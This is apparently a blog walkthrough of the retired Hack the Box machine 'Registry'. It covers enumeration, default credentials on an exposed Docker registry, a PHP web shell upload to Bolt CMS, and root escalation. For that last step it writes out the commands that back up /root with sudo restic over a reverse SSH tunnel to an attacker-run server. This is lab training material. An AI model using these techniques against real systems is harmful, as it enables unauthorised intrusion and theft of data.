Hack the Box (HTB) machines walkthrough series — Registry

Today, we will be continuing with our exploration of Hack the Box (HTB) machines as seen in previous articles. This walkthrough is of an HTB machine named Registry.

HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pen test) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Registry, is retired.

The walkthrough

Let’s start with this machine.

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
2. The “Registry” machine IP is 10.10.10.159.
3. We will adopt our usual methodology of performing penetration testing. Let’s start with enumeration in order to gain as much information about the machine as possible.
4. As usual, let’s start with the nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE]
   

   <<nmap -sC -sV -oA Registry 10.10.10.159>>
   

   
   

5. Let’s start with the directory enumeration, as shown below. We got a hit on multiple directories. One among them is v2.
   

   <<gobuster dir -u https://docker.registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -k>>
   

   
6. From nmap scanning, we can see docker.registry.htb. Adding that to the hosts file and browsing for v2 prompts a credential box. The username and password combination Admin/Admin worked here.
   
7. After this, we can see that this box has exposed Docker API. We can start enumeration on well-known paths for Docker API.
   
8. Looking into catalogs for this repo reveals a repository named “bolt-image.”
   
9. Looking into the tags for image bolt-image, we could see the “latest” tag.
   
10. The following are the blobs or layers for this repository. We downloaded all of them.
    
11. Unzipping the contents of each layer reveals some interesting information. In one of the layers, we could see the SSH key pair. The key is encrypted and ssh2john was not able to find the password, so let’s enumerate more.
    
12. After enumerating a bit more, we got the username.
    
13. And also the password for the key!
    
14. Using the above discovered artifacts to log into the machine as user “bolt.”
    
15. Grabbing the user.txt file.
    
16. Let’s get some more information from this machine. Under var/www, we could see the site “bolt.”
    
17. The site is live there. Let’s dig a bit deeper into this site configuration.
    
18. Under sqllite db under the app folder, we could see admin creds.
    
19. Capturing this and running it with “john” reveals the password to be “strawberry.”
    
20. Let’s log into “bolt,” as shown below, with the discovered credentials.
    
21. The site allows only following file types to be uploaded.
    
22. We add PHP in the configuration.
    
23. And then go to file management and upload the web shell.
    
24. We cannot get the reverse shell on this machine, so we need to get the bind shell.
    
25. And then we connect to the bind shell, as shown below.
    
26. Looking into this user capability, we can see that the user can run restic backups as sudo.
    
27. Let’s set up restic on the attacking machine. We initialize the report like below:
    

    <<restic init --repo lhm>>
    

    
    

28. Create an SSH tunnel to forward the traffic from the target machine to the attacking machine.
    

    <<ssh -i id_rsa bolt@10.10.10.159 -R 8000:127.0.0.1:8000>>
    

    
    

29. Setting up a rest server on the machine targeted towards the repository created above.
    

    <<.rest-server --path <repo> --no-auth>>
    

    
    

30. Perform the restic backup of the whole root directory. Since a tunnel is created, all of the traffic will be routed to the attacking machines
    

    <<sudo restic backup -r rest:http://127.0.0.1:8000 /root>>
    

    
    

31. We restore the backup locally with restic.
    

    <<restic -r lhm restore aa3069fe --target>>
    

    
    

32. And now we got the root flag.
    

This was a fantastic machine with a lot of learning. I also learned how to perform backups with restic. The rest is straightforward.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

We will continue this series with  such interesting machines.